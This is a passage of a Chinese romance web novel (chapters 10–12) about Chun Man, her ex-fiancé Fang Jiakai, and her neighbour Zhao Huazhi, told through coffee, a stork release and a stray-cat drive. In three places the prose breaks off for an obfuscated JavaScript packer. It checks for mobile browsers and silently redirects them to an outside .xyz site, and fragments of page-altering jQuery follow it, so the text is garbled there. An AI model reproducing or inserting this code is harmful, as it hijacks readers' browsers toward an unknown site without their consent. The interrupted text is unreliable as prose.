春满忍俊不禁:“要进来等会儿吗?我需要把它们的东西整理一下。” 赵华致按住扒着自己衣领往上爬的虎皮,应了声“好”。 春满让开路,等他进来才关门。 进屋后,扑面而来的咖啡味道格外浓厚。 “昨晚没休息好?”赵华致偏头去看走进卧室拿逗猫棒的春满,“是它俩闹你了吗?” 从赵华致的位置看过去,并不能看到卧室里的摆设,只能看见走廊尽头的装饰画。春满很快从房间出来,一身居家装有种说不上来的舒适柔软,她语气也是柔软的:“睡得很好。我习惯早起喝咖啡,跟睡眠质量无关。” 赵华致露出一个了然的神情,视线移向水吧台上的咖啡机。 “要喝吗?我刚好多做了几杯分给同事。” “谢谢。”赵华致把视线移向客厅的照片墙上,看得认真。 除了几张自拍,照片内容大都以植物和动物为主。 “这张是在浅水滩?” 春满站着吧台后面,听见他如是问,随即望去。毛毡布上原本展示的是她和房嘉恺在不同阶段的合照,前些天收拾东西时,把照片一并换新了。 新打印的照片尚未经岁月侵蚀,彩墨簇新,细节清晰,仿佛眼前光景尽在昨日。 “是,六年前的照片了。如今这里已经建成了度假村。” 赵华致深深地看了一眼,继续看其他照片,淡声回:“我之前也去过。” 春满适时记起,这个度假村项目便是由赫京牵头开发建设的,现今已经是市内可见一斑的游客打卡地,每年为集团创收显著,他重点关注也不奇怪。 春满动作熟练地封好打包杯的防漏纸和盖子,才想起征询赵华致的意见:“你介意用这个装吗?” 赵华致注意力从照片墙上移开,朝她走近些,注意到旁边那几杯应该是给同事带的一样的咖啡杯,说:“不介意。也可以给我这杯贴一个卡通猫的贴纸吗?” “没问题,给你贴两个。” - 上午九点半,赵华致出现在星恒科技参加例会。 喝到只剩一个底的自制咖啡的杯子放在办公桌上,特助经过时,多看了两眼,试图摸清老板的喜好。 公司内大刀阔斧的裁员已经告一段落,但员工们对新老板的做法仍心有余悸,在工作上没有人敢掉以轻心。 会议结束,大家鱼贯而出,窃窃私语地交流着老板今天似乎心情不错的信息。 有几个女同事因赵华致今日份超额的笑容受到鼓舞,开始花痴地感慨着“一想到今天老板要来公司,早晨出门挤地铁时都有动力了”,氛围 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14467361|154274||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好不融洽。 房嘉恺连日来因为订婚取消的事心情不佳,同事们陆续得知后,不敢乱提这个话题惹他不高兴,对于他不参与大家的闲聊也不见怪,并且默契地远离他的低气压。 也就沈栀意敢当着他的面哪壶不开提哪壶:“知道你心情不好,但你也不能天天挂着一张脸,再这么下去,同事都不乐意搭理你了。” “不搭理就不搭理。”房嘉恺一副破罐子破摔的无所谓语气,回工位坐了会儿,在沈栀意恨铁不成钢的欲言又止中,拿起打印好的纸质文件去办公室找赵华致。 办公室里,玻璃门被从外面敲响时,特助核对工作的间隙穿插了一句生活话题:“赵总,明天需要我准备咖啡吗?” 赵华致似是没明白怎么突然有这么一问,疑惑地抬了下眼皮,注意到特助看向咖啡杯,不自觉唇角柔和几分:“不用。” 赵华致没有喝咖啡的习惯,喝也是喝纯茶。 “你去买几包咖啡豆,”顿了下,赵华致改口,“算了,我自己来买。你先去忙。” 特助不明缘由地应声,外出时,和房嘉恺擦肩而过。 星恒被收购后,这间办公室保持着之前的装潢摆设,没什么变化。 房嘉恺进来后把手里的文件递给赵华致,等待时注意到墙壁上新挂的一副摄影作品——一只踏着浪花觅食的跛脚鸟,上体羽翼黑白斑驳,像极了幽灵般的冬装。 “这是三趾滨鹬吧?” 相框挂在赵华致一抬眼就能看到的墙壁上,他抬头觑了眼,反问:“平时喜欢观鸟?” 房嘉恺笑笑,说:“女朋友喜欢拍鸟,我跟着研究了一阵。你也喜欢吗?” 墙上的这幅用摄影作品形容都抬高了,照片被修图软件处理过仍能看出虚焦的痕迹,简直是一张毫无亮点和价值的照片。 但赵华致盯着上面的鸟看了无数遍,身上每一片羽毛,脚趾的每一寸纹理都深深刻在脑海中。 赵华致搪塞般,回了句:“随便选的。” 三趾滨鹬是一种在地球上任何地方的沙滩上都能看到的鸟类,小有名气,皮克斯的经典动画片《鹬》便参考它的形象,童年时发条小鸟的玩具也是它。 房嘉恺本来还想深聊一番,比如春满早年常有摄影作品获奖,也拍过一只在水边整理羽毛的跛脚三趾滨鹬,那张照片中小鸟定格在一个原地起飞的动作上,抖掉的海水是金色的,大珠小珠跳跃在沙滩上,落地的那刻如降临凡间的天使。大赛评委给那副作品命名为《神灵》,盛赞一张照片拍出了动态和故事感。 但看赵华致未有闲聊的兴致,房嘉恺识趣地略过这个话题,也不完全是掠过,因为房嘉恺拿来的文件跟鸟禽保护有关。 “北斗导航在野生动物保护上的应用?”赵华致翻阅着几页纸。 文件打印的是当地动物救助站的资质和成就,房嘉恺补充说明:“救助站最近要放生三只康复且具备放飞条件的东方白鹳。如果放飞前能在它们身上安装北斗卫星定位追踪器,通过追踪器反馈的信息,研究员方便记录鸟儿的飞行轨迹、体温、速度、高度等信息,为候鸟科研和湿地保护工作提供数据支持。过去星恒的产品集中在工业上,我觉得这是一个很有意义的尝试,也能让我们的产品多一个宣传途径。” 赵华致眼底平静,让人猜不出喜恶。他知道房嘉恺来意时,便猜到了他的目的。 毕竟赵华致几天前,刚亲身实践过,用“VR技术在野生动物科普上的应用”为突破口和春满产生了工作捆绑。 “挺不错的。”赵华致答应了这个方案。 没等房嘉恺欣喜,赵华致把文件放下,用手指敲了敲,把话说完:“既然做就做出点成果,我记得沈栀意履历里提过她在非洲做过野保志愿者的经历,你俩一起负责这件事。” 房嘉恺嘴角微动,并不觉得这是个好的征兆。 他寻求这个契机是为了一向工作为重的春满没办法拒绝和自己的见面,但多一个沈栀意,恐怕会弄巧成拙。 房嘉恺虽百般不愿,但一时没有合理的理由拒绝,见赵华致安排已定,只能答应。 房嘉恺起身离开办公室,带上门时,视线从电脑显示器旁一次性咖啡杯上扫过,心里没来由空落落的感觉似乎更强烈了些。 赵华致用的一次性咖啡杯不是塑料的,是铝杯,属于一种可循环利用的环保材料。 房嘉恺之所以知道这个,是因为这是春满常用的。 春满自己喝咖啡有自带杯,在家里学做拉花那阵把做多的分给同事时,用的便是这种杯子,塑料杯不环保,铝杯正适合她的需求。 10. 第 10 章 10 这天,艳阳高照,惠风和畅,是个好天气。 却不是所有人都能够拥有好心情。 “担心她,就别安排房嘉恺去啊,你这点权利还是有的。”江鎏针对赵华致一上午心不在焉的状态如是评价道。 他有什么权利? 除了工作,房嘉恺还有太多途径和机会接近春满。他又能做什么呢? 也就只有工作相关的事,他还能有几分操作空间。只是不知道情况是否如他预料的那般发展。 春满对房嘉恺的态度,赵华致从未直接跟春满聊过,所掌握的信息,无非是一些显而易见的、她身边亲朋普遍知晓的,以及江鎏通过他的渠道套来的信息。 破镜难重圆,但四年的感情摆在那。沉没成本不参与重大决策的道理,在人要感情用事时起不到任何作用。 赵华致只觉心痛,就像这四年间,无数次偷窥着她生活时的感受。 或许如今反应只会更剧烈,毕竟已经体验过失而复得的喜悦,怎么甘心再次拱手让人。 “他们——”赵华致倏然想到什么,整个人僵住。所有以自我为出发点的感悟暂停,他将视角切换到春满身上,突然意识到自己做了一个并不理智的决定。 不论最终结果如何,当春满看到房嘉恺和沈栀意同时出现,除了能清醒地牢记房嘉恺的过错,坚定自己分手的决定,还将被动地把刚有愈合征兆的伤疤再次撕裂。 这是一件非常残忍折磨的事。 他不该这样安排的。 - 彼时,救助站。 三只东方白鹳已经在软放归区适应了一段时间,熟悉自然环境,具备放生条件。 “春老师,这段时间辛苦你,让你一趟趟地跑。”和春满对接的饲养员如是说着,“提供导航追踪设备的技术员也已经到了,等他们弄完就可以开始放生仪式,我们现在过去看一下吧。听说是打算和救助站达成长期深入的合作,这家企业看上去挺有诚意的。” “那很不错。”春满随口问:“是哪家企业?” “星恒。利用导航追踪长久地观察、研究动物的习性,还是你给救助站提供的思路。你对这个企业熟悉吗?” 油然生出物是人非的涩感,让春满心咯噔漏跳了半拍。她心说星恒技术岗员工众多,来的未必是房嘉恺,但身体里难以遏制的烦躁。 春满知道自己不该这样抵触,相识六年,在一起四年,除了那件原则性的错误,两人感情无疑时亲密的,否则也不可能走到订婚的阶段。 如果可以,再见面时心平气和地道一句好久不见,然后问问对方的近况。 经过这段时间的冷静,那激增的厌恶和痛恨或许还是败给了四年感情,春满无法原谅原则性的错误,却仍由衷地希望对方过得好。 好像这样,春满心里因决绝强势而产生的自我反思,反思又激化的惭愧情绪,便能够减淡一些。 以上种种难以言明的心理,在春满转过拐角,看到星恒派来的技术员时,被完全覆盖。 “嗨……”沈栀意听见脚步声回过头,渐渐放下给白鹳拍照的手机。 沈栀意知道自己给房嘉恺和春满的感情造成了什么样的破坏,她已经跟房嘉恺把这件事解释清楚,却迟迟没有向春满道歉的机会。 此刻相遇,场面多少有些慌乱和尴尬。 “我手机是不是在你那——”房嘉恺的声音从围栏后出现,他直奔沈栀意而来,却在看到春满时,脚步顿了顿,脸上松弛自在的神情一瞬间变得紧绷。 说是关心则乱也好,是惊惶无措也罢。 房嘉恺努力让自己笑得好看,但越努力呈现得越别扭。 房嘉恺自以为很了解春满,追她那两年,把她每一次蹙眉、每一个笑容都翻来覆去的研究,在一起后,在重复琐碎的日常相处中,加深了对她的认识。 春满是个十分率真、体面的人。她凡事有话直说,不做无谓的迁就,不委屈自己,同时也能维护成年人的体面。就比如当年房嘉恺在宿舍楼下大张旗鼓跟她告白的事,春满虽然反感,但仍能好声好气地用一种不伤他自尊的方式拒绝。 所以房嘉恺没有预料到,她在沈栀意的事上会如此生气。 像是变了一个人一样,心硬得房嘉恺找不到任何弥补的契机。 沈栀意什么时候把手机递到他手上的都不知道,房嘉恺注意力一瞬都没有从春满身上移开。 而春满仿佛不认识这两个人一般,偏头问饲养员:“现在可以开始放生吗?我单位还有事,得早些回去。” 饲养员隐约察觉气氛不对,没等琢磨出个所以然来,闻言,连忙回到工作状态:“可以的。” 救助站每年放生的动物不计其数,今天实在算不上多特殊的一次,饲养员兼职摄影师期间拍摄了几张照片方便官媒宣传使用,整个仪式很快结束。 飞鸟振翅,消失在云端,混入数以万计的鸟群中,此后只有一条条冰冷的数据能证明它与这里的联系。 救助站的技术人员有追踪相关的问题向房嘉恺请教。 春满趁这个时间,离开了救助站。 经过这个小插曲,她从记忆滋生的惭愧,遭新的情绪覆盖,随后尽数消散。 房嘉恺的生活缺了她,依旧丰富如常。 “慢慢——” 春满走到车边时,房嘉恺疾步追出来,把她叫住。他动作急,等跑近大口喘匀气息,才说:“晚上一起吃饭,可以吗?” 春满垂眼盯着被他拉住的手,一秒两秒,直到房嘉恺缓慢地松开对她的钳制,春满才开口:“不了。” 春满连推脱的理由都不想找,视线从他愧疚焦急的脸上移到救助站门口,沈栀意站在那里低头看手机。 “沈栀意还在等你,快回去吧。” 没等房嘉恺再有动作,春满利索地拉开车门,矮身坐进去,发动车子,一系列动作一气呵成。 等房嘉恺身影在倒车镜里逐渐变小,最终看不见,春满才放松了绷着的情绪。 车子又开出去几百米,情绪上的不适影响到身体,春满只觉胃里一阵翻江倒海,紧急靠边停下车,推开车门一路踉跄地扑到垃圾桶旁边,弓着腰吐了个干净才舒坦。 - 春满猜自己大概是中午吃的外卖不卫生,晚饭只喝了点白粥。吃完饭也没在家休息,抓了小包猫粮去楼下喂流浪猫,然后又去了趟宠物医院。 春满再回家时,夜色已经渐深。 电梯从负一层升上来,门缓缓打开。 春满弯腰去提脚边的猫咪航空箱时,里面的赵华致抬手替她挡了下梯门。 “谢谢。”春满抿唇露笑,心说他竟然才结束工作。 这个小区距离赫京和星恒的距离都不算合适,春满不理解方便在哪里,适可而止没有去解读原因。 赵华致的视线从她手背处两道触目惊心的猫爪痕,移到她脚边的航空箱上,问:“你的猫?” “小区的流浪猫,刚做完绝育,我暂时养几天再放生。” 赵华致问:“我看你挺喜欢猫,不打算养吗?” “我……”春满想说家里有人过敏,但转念一想,她跟房嘉恺已经分手了。当初阻拦她没办法养猫的问题已经不在,如今她具备养猫的条件。 春满被自己说服了,心绪畅然,弯了弯唇,回赵华致的问题 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14467362|154274||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“看它能不能适应被家养吧,不适应就还它自由。” 不适应就还她自由。 赵华致在心里重复一遍这句话,说:“事在人为,它会很喜欢你的。” 春满莞尔道:“借你吉言。” 说话间,电梯到达七楼。春满提起航空箱,赵华致让路,在她跨出去后,抬手拦着电梯门,将两包咖啡豆递过去:“差点忘记,这个给你。” “咖啡豆?”春满微怔,低头去看下意识接住的东西。 赵华致没给她拒绝的机会,挡门的手撤回来,说:“早点儿休息。手上的伤口记得处理。” 门缓缓关住,春满站在电梯间,拿近些隔着包装嗅了嗅。 心痒痒的,她要不是担心影响睡眠,真想立刻冲一杯。 翌日一早是个大晴天。 春满外出晨跑,旁边公园的跑道笔直宽敞,湖面平静,天鹅在粼粼波光中畅游。 她跑步时间固定,完成目标任务量时,路边早餐店的人流还不多。 晨光熹微,大脑随之换新般,思绪清明。 春满提着早餐进了住宅楼,碰见同样晨跑回来的赵华致。 赵华致站在电梯内,在春满的身影出现在电梯间里时,按住了开门键。 同住一栋楼,进进出出遇见实在是寻常。 电梯里还有个遛完狗回来的大叔,春满和赵华致互道“早”后,注意力被大叔身边的德牧犬吸引。 大叔在中间楼层下去,电梯里只落春满和赵华致两人。 到七楼,春满跨出电梯时,脚步顿了下,毫无征兆地扭头问:“你待会儿几点钟出门?” 赵华致挑了下眉,有种被大奖砸脸的错愕,照实答了。 “我也差不多这个时间。”春满语气坦然,“你想尝尝自己买的豆子吗?如果出门时碰巧在电梯遇到,我分你一杯咖啡。” “好。” - 赵华致是个很有时间观念的人,但从未有哪次像今天这般掐着时间搭乘电梯下楼。 晨跑的运动装换成笔挺的西装,额前发丝的弧度和身上冷淡的男士香水味无一不恰到好处。 电梯停在七楼,门向两侧缓缓滑开时,赵华致喉结滚动,心脏跳动得格外雀跃。 一秒、两秒,站在电梯间玩手机的春满映入眼帘。 她抬眼看见电梯里的人,浅浅的笑意在眼梢绽开,赵华致却觉得这比任何态度都要隆重。 春满收起手机,跨步进来,语气轻快:“刚刚好。” “谢谢。”赵华致接过她递来的自制咖啡,和昨天一样的杯子。 春满没忘记在上面贴两个卡通猫的贴纸。 早上十点,赫京集团总裁办公室。江鎏靠在办公桌上,随手拿起这个咖啡杯,漫不经心地评价:“附近新开的咖啡店吗?包装这么简陋。” 被赵华致冷冷地瞥了一眼,江鎏只觉莫名其妙,狐疑地又看了一眼手里的咖啡杯,不客气地瞪回去,道:“你这眼神我以为自己评价的是你小老婆。” “把杯子搁下,没事可以出去。” 江鎏大概猜到凭什么这个咖啡杯如此受宠了,轻啧一声,放弃挑衅把杯子搁回去,双臂环肩,怪腔怪调地邀功:“你就是这么对待给你透露暴雨夜送温暖机会的功臣?还有没有良心。” 两人关系自然不一般,江鎏隔三差五的调侃不是真要什么报酬,纯属嘴贱。 赵华致好整以暇地看向他,说:“等我结婚了,给你包个大红包。” 江鎏轻嗤,一副“今天一杯咖啡就飘成这样,不知道是谁昨天上午火急火燎坐立不安?”的表情,没底线地拆台:“你想得倒挺美。” 11.第 11 章 11 春满不是天天给同事带咖啡,往往看时间和心情。 今天早晨出门前,除了自己必备的和给赵华致的那杯,只多磨了一杯。 原本多的这杯都不想磨,但考虑到没有这一杯的衬托,给赵华致的那杯像是特意准备的似的。 虽然说,春满用着他送的咖啡豆,专门回一杯当谢礼无可厚非,但有些误会能免则免吧。 春满走出单位停车场,遇见也刚下车的园长,顺手把多的那杯给他。 章啸行没什么架子,甚至因为重度社恐,有着不该出现在领导者身上的怯懦,路上碰到有员工跟他打招呼,每每都一副偷感很重的模样,慢好几拍才回应,等人走后必如释重负地松口气,好像他才是见到冷面上司的员工。 春满是他为数不多可以放下心理压力相处的朋友,除了日常互动,还能多聊几句私事:“最近心情还不错?” “挺好的。”春满自然清楚章啸行指的是她感情的事。 她家和房家对订婚仪式的讲究不多,只邀请一些亲戚。身边的朋友同事虽不必到场,但多少都知道他们走到这个阶段。 得知她订婚取消,甚至分手后,身边人多是感慨可惜,也有劝她好好沟通,重新做决定的。 章啸行不会对别人的决定指手画脚,也不会仗着年长几岁瞎说教,只问她:“还有复合的可能吗?” “没了。”春满搓了搓手里便当包的提手带子,垂着眼,视线落在地砖纹路上。 她也觉得惋惜,从这段感情一开始,便不是奔着分手相处。但春满了解自己,如果只是因为舍不得,便选择息事宁人当作什么也没发生,订婚、结婚,可能也可以百年好合吧,毕竟人如果能谅解第一次,便能谅解第二次,第十次,第一百次。 或许类似的错误,此生只有这一次,但春满势必在此后余生里无比挣扎。 就像春满陷入“哥哥爱不爱我”的思维漩涡中,正方与反方交替举证,这么多年都没有得到答案一般。 她不想面对“房嘉恺爱不爱我”这一同样没有结论的难题。 苹果坏了一个疤可以剜掉吃,但人不能不长记性。 章啸行不擅长说开解人的话,每每有这个意图时,说的内容都不怎么合适:“也挺好。你的条件就算在相亲市场上也很抢手,更何况咱单位不就有吗。别看谢宴迟处处跟你不对付,抢你的风头,但我觉得他肯定对你有点意思。他家境、样貌、工作能力都不错,就是混不吝了点。” 春满哭笑不得:“哪有你想的这么复杂,我和他就是普通同事关系。” 她怕章啸行哪天真脑袋一轴,给她介绍起适婚对象,提前说明白,“我暂时没有投入一段新感情的打算,过段时间想出去走走,忙点儿自己一直想干的事。” “也行。园里各方面状况都稳定了,你正好出去散散心。”章啸行知道春满有主意,便不再多说,喝了口咖啡,仔细品了品,“是换豆子了吗?今天的咖啡更好喝了。” 章啸行确实挺喜欢这个口感,又喝了一口:“是什么品牌的?有购买方式没?小娴这段时间也鼓捣咖啡,但都没你这个好喝。” “朋友送的。我回头问问。”春满如是说,但心里却多了几层琢磨。 特意去问咖啡豆的购买途径,会不会显得奇怪,还是她回去通过包装自行上网检索购买途径,毕竟和他实在算不上熟。 可用不熟来形容似乎不准确。 如果非要找一个从“不熟”变成“熟”的节点,似乎是那天在电梯里发现赵华致是自己一年间一直联系着的流浪猫领养人时。赵华致的身份正式从“工作合作方”向着“朋友”进阶。 直接问他似乎也没有什么不妥的。 就像他们过去讨论哪一种猫粮更能放心购买一样。 她表现得太陌生,反而显得刻意。 - 作为朝九晚五的打工人,春满出行和回家的时间固定。大概是在电梯遇见赵华致的频率甚高,所以每每站在电梯间等电梯时,都会萌生出会不会遇到赵华致的念头。 她是不期待碰见的,但又不免想,如果碰见了,该如何表现会符合常理。 就这样过了四五次,担忧没成真,腹稿没用上的时刻。 时间来到周末,物业组织住户们救助小区内的流浪猫,春满作为物业请来的掌握专业技能的外援,带领大家活动。 整个流程安排得丰富多彩,住户们很积极地带着家里的小孩参加。 打扫并布置给流浪猫准备的半封闭空间、做爱心行动海报,以及给小区里流浪猫拍照取名做档案卡。 大家各司其职,竟然有序。 有个小女孩剪了猫咪形状的卡纸想要贴在墙上,但位置太高,扯着春满的衣摆,寻求帮忙。 毛毡布上已经挂了数张流浪猫的照片,顶端白墙上贴了“猫咪家园”四个艺术字,春满被小女孩指挥着把卡纸贴到艺术字旁边,但挪了好几个位置,春满因身高的关系都没能办好。 正想劝说小女孩同意贴在右下角靠近猫窝的地方,春满突然间被一道黑影笼住,很快手中的猫咪卡纸被人拿走。 “我来吧。” 春满被墙壁和来人包围在狭窄空间里,微转上半身,仰脸看着赵华致轻松地把卡纸固定好。 “你怎么在这?”刚刚两人离得近,衣料相触。春满在他小幅度往前倾身时,下意识往后让,掌心当即按在新安置的洞洞板上,簇新的板子,边缘有些锋利,在她皮肤上压出一道浅浅的红印。 赵华致帮完忙便退开些,歪了下头,反问:“这不是面向全小区的活动吗?我不能参加?” 春满自然不是这个意思,活动性质的关系,大都是家长带着孩子参加,她着实没想到赵华致会来。 现场氛围融洽且忙碌,赵华致环视四周,很快融入其中,问:“我带了些猫粮过来,放在哪里合适?” 提到本次活动的主题,春满适才觉得赵华致出现在这不奇怪:“有布置专门的猫粮储备箱,在……” 赵华致似有所感地抬头,视线越过场地上跑蹿的小孩身影,看到了外面草地上刚出现却已经跟街坊打成一片的男人。 春满背对着那方向,听见房嘉恺的声音,舒展的嘴角微微垂下些。 房嘉恺来得勤,和不少住户脸熟。即便春满跟物业保安说不让他进来,但房嘉恺总有办法说动对方放行。 房嘉恺结束跟邻居的闲聊,往这边走来,先跟赵华致打招呼:“学长,你也住这个小区吗?之前都不知道。” “刚搬过来。”赵华致不着痕迹地看了春满一眼,语气冷淡地回答。 “我带了些矿泉水,已经分给大家了。”房嘉恺递给赵华致一瓶矿泉水,接下来递给春满的是她爱喝的乌龙茶,“慢慢,这是你的。” “我不渴。”春满没接,偏头看向赵华致,说,“你不是要放猫粮吗?我领你去。” 春满说完便走开,赵华致看房嘉恺一眼,说:“谢谢你的水。” 活动只持续两个小时,结束时大家集合拍纪念照。 帮忙拍照的物业员工突然闹肚子,把单反留给春满便跑了。 春满没找到可以给大家拍照的人,只能自己顶上。 大家聚在小屋前,个高的在后,小孩在最前面蹲着。春满从取景框里看他们说笑着调整仪容,指挥两边的人往中间靠,站得紧一点。 “需要帮忙吗?”赵华致不知何时来到春满旁边。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14474309|154274||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 春满把单反拿低,没等回答,房嘉恺出现在她另一侧,同样主动地帮忙解决问题:“你和学长去跟大家合照,我来拍吧。我不是这个小区的住户,也没出什么力,纪念照里有我没我影响不大。” 房嘉恺自打台风天后,被春满拒绝过太多次,难得有一次春满碍于外人在场不能一点面子不给他,强势地把单反从春满手中拿走,确认快门位置:“只拍合照就可以吗?” 春满不想和他在人前发生争执,接受了他的帮助,偏头看赵华致:“一起过去吧。” 等走出一段距离,她才低声说:“刚刚谢谢你。” 赵华致落后两步,等春满站好才站到她旁边。房嘉恺先拍了一张看光线,然后像春满方才那般招呼大家站得紧一些。 大家分为三排,春满虽然来得迟,但被邻居们招呼着去到第二排正中间。 赵华致手臂边那抹浅色衣料飘走,心跟着空了一块似的。 下一次快门被按下前,又有人招呼:“赵总也站中间,你出钱最多,值得一个C位!” 赵华致因此重新站在了春满身边。 春满站得位置有个石块,挪动时踩到脚身体打晃踉跄了下。赵华致眼疾手快,手绕在她背后虚护着。 “小心。” 春满堪堪站稳,低头看了眼,用手指把垂下来的鬓发勾回耳后,轻轻笑了笑,说:“我没事。” 赵华致把手撤回来,看回正前方。他看着不远处端着相机的房嘉恺,想到两个月前星恒的团建日,房嘉恺揽着春满的肩,向一众同事公布他们即将订婚的喜讯,满面红光,春风得意,赵华致只能站在热闹之外。 如今时过境迁。 赵华致稍稍侧头,看着近在咫尺的春满自矜而清丽的侧脸,不自知地紧了紧拳头。 大家站得紧凑,但也没到需要肩膀错着肩膀的紧密程度。 随着一声“茄子!”,画面定格时,两人手臂隔着薄薄的防晒衫交换了些温度,很快分离。 一众人解散后,房嘉恺把单反交给春满,让她检查效果,并说:“待会儿一起吃饭吧?” 春满翻着刚刚拍的几张合照,这种活动照对技术要求不高,有一张把所有人正脸拍清的就行。 春满翻页的动作快,某一刻突然顿住,把照片翻回上一张。 拍照时旁边投来的目光不是春满的错觉,这张照片为证,赵华致当时的确在看她。 是因为自己没有侧身站,挤到他了吗?春满茫然地看了当事人一眼。 赵华致正跟旁边还没离开的邻居说话,听到房嘉恺的话偏头看过来,一起等春满的回答,岂料春满冷不丁地望向自己。 赵华致显然误解了她的意思,解围般往前跨出一步,但随着春满视线很快收回,他也克制地止了步。 这一眼仓促的仿佛是他的错觉,又真实得令他迟迟移不开眼。 “不了,我晚上还有别的安排。”春满把单反关机,回答房嘉恺方才的问题。 “是为一周后的马拉松做准备吗?”房嘉恺知晓春满生活中的一切规划,甚至计划送她一身品牌新款的速干衣,但还没有托代购买到春满喜欢的颜色,便失去了送她的机会。 赵华致本留给春满自己处理的空间,遥遥地听见房嘉恺提到的事,这是赵华致不曾知道的。 这种落差让赵华致坚定了打断的主意,他重新抬脚,径自朝春满走近,甚是突兀地出声:“春满,待会儿有空吗?有工作的事找你。” 赵华致不知道自己这一理由能否被接受。 时间安静地流逝数秒,春满缓缓开口,应了声“好”,随后疏离且冷淡地回答房嘉恺的问题:“是工作的事。我先回去了。谢谢你支持今天的活动。” 12.第 12 章 12 携家带口的住户们在活动结束后陆续散了。 春满跟着赵华致走出段距离,出声问:“是那批VR设备的事吗?” 赵华致止步,稍稍偏头望着房嘉恺的方向。房嘉恺没追上来,但视线却一瞬不瞬地锁定在这边。 赵华致不动声色地收回目光,看向春满,嘴角动了动又合住。 春满微微歪了歪头,从他的反应中隐约意识到什么,确认道:“是故意这么说的吗?” 赵华致不避讳地嗯了声,解释:“看你很为难才这样说。不过工作上也的确有事,原本安排在明天上午,如果你想现在的话,我让江鎏改到半小时后。” 春满默然,轻声说了句:“谢谢。” 也不知道在回答哪句。赵华致盯着她,面露疑问。 只听春满继续道:“明天吧。” 随后春满抬步,朝房嘉恺所在的反方向走,赵华致同行,心中的担忧得以淡化。 - 翌日早晨,春满照例出门晨跑。马拉松比赛日在即,春满逐渐提升了自己的训练强度,完成时间久了些,没想到还能在电梯间碰到赵华致。 赵华致看着春满刷完电梯楼层,倏然开口问:“你平时在哪里跑?我们跑步时间差不多,我却从来没在跑步时遇见你。” 春满透过电梯壁看了他一眼,回答:“大多时候在公园跑,天气好的话会跑公路。” “我也在公园。那估计我们的路线刚好错开。” 运动完的舒畅心情让电梯间的聊天氛围格外和谐,但春满应了句“可能”便没有再说话。 眼看着电梯到达春满的楼层,赵华致语气自然随意,提起:“我记得你今天的车限号,待会儿还是搭我的车去公司?” 电梯滴声到达,春满觉得蹭车这种事无可厚非,跨出电梯前,对赵华致说:“那麻烦你了。八点半车库见?” “可以。”赵华致手挡在电梯门上,轻松的语气问,“今天还有我的咖啡吗?” 春满跨出去,站在电梯间侧了侧头,没直接答应:“看我的心情吧。” 回到家,独居的清净每每都让春满有几秒的恍惚。 她不是害怕孤单的人,过去满郁工作忙,她练就了自己陪自己玩的能力,后来爱上了观鸟拍鸟,她站在镜头后面,也是最沉得住气的,脑袋里干干净净,什么杂念也没有。 但她曾经拥有、期待未来继续保持的“家的味道”,是她十分留念的。 现在都没有了,生活回到了她最初的状态。 这片刻的杂念让春满从“沉浸式生活”的当局者状态中抽离出来,先去洗漱,然后准备早餐,煮咖啡。 家里给同事用的那种一次性环保杯用光了,临时买来不及,她找到个崭新的动物园文创周边中的外带杯。 350ml,刚好一人份。 等装完杯,扣住盖子,春满把这个新杯子放到自己平时用的外带杯旁边,准备出门前再往包里放时,视线迟迟没移开。 用这个杯子给赵华致带咖啡,会不会太隆重了? 而且两个杯子上除了新旧不同,都印有卡通动物的图案,大小相同,款式相似,会不会太怪异了。 春满临出门站在全身镜前,仍在琢磨这件事。如同她盯着镜子里自己唇上的口红,觉得这个颜色太艳,擦掉只涂唇彩又觉得毕竟是聊工作,不上点妆显得不够端庄。 思来想去,春满纠结了好一会儿才出门。 以至于春满站在电梯间,按了下行键,电梯快到时,才猛然想起自己待会儿要接个跨国电话,忘记带耳机了,连忙把按键取消,回家取。 一番折腾到车库时,赵华致已经早到了。 春满拉开车门坐进副驾,连忙道歉:“不好意思,忘拿东西折回去耽搁了时间。” “猜到了。”赵华致在电梯间时,电梯停在八楼以上的楼层,他注意到楼层数开始降低,才按了下行键。等他搭乘电梯到达七楼时,门却没开,直到下到地库,电梯都没在任何一楼层暂停,赵华致便猜到是有人按了键后取消。 春满又想说句什么,这时手机响,是她一直在等的跨国电话。 春满只来得及把手里的新杯子放到扶手箱的杯格里,匆匆说一句:“咖啡放这里了。我先接个电话。” 赵华致看了眼那杯子,便发动车子,只提醒道:“嗯,记得系一下安全带。” 国际野保组织打来的电话,对春满做一个简短的采访。 春满全程说英文,是标准的英式口语的发音,语调、音色跟她说普通话时有些出入,更婉转缠绵、动人。 赵华致可以听懂,只不过对于一些专业性较强的术语,理解得并非精确。 这些年来赵华致虽未与春满联系,但对她各个阶段的履历有所了解。 她止步于动物园的救护中心,施展拳脚的舞台受限制,想来跟个人感情有关。 因此赵华致全程没打扰,等她挂断后也没说话。 